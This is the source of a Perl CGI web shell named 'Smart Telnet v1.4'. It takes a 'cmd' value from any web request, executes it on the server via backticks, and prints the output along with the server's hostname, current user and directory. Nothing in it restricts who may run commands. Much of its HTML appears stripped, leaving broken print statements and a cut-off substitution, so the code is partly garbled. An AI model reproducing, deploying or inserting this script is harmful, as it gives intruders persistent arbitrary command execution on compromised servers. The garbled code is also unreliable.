#!/usr/local/bin/perl ############################# ###          «-SmartScript-»        ### ############################# use CGI qw(param); &parse_form; $cmd = param('cmd'); $cmd = $input{'cmd'}; $dir = `pwd`; $hst = `hostname`; $usr = `whoami`; $uri = $ENV{"SCRIPT_URI"}; chop($dir); chop($hst); chop($usr); print "Content-type: text/html\n\n"; print ""; print ""; print "Smart Telnet v1.4 - $usr"; print ""; print ""; print "
Smart Telnet v1.4


"; print "Server: $hst
"; print "Root: $dir
"; print "Script: $uri
"; print ""; print "
"; print ""; print "
"; if ($cmd ne "") { $tnum = 0; $_ = $cmd; s/(.)*=//; s/\+/ /g; s/%(..)/pack("c",hex($1))/ge; @response = `$cmd 2>&1`; foreach $i (@response) { $tnum++; } $rz = join("", @response); $resz = length($rz); $cmd =~ s/
(bytes: $resz - lines: $tnum)

"; foreach $i (@response) { $i =~ s/<\/textarea>/<(\/textarea)>/i; print " 
"; } } print ""; print ""; sub parse_form { read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); if (length($buffer) < 5) { $buffer = $ENV{"QUERY_STRING"}; } @pairs = split(/&/,$buffer); foreach $pair(@pairs) { ($name, $value) = split(/=/,$pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][A-F0-9])/pack("C",hex($1))/eg; if($input{$name} eq "") { $input{$name} = $value; push (@fields,$name); } else { $input{$name} = $input{$name}." ".$value; } } }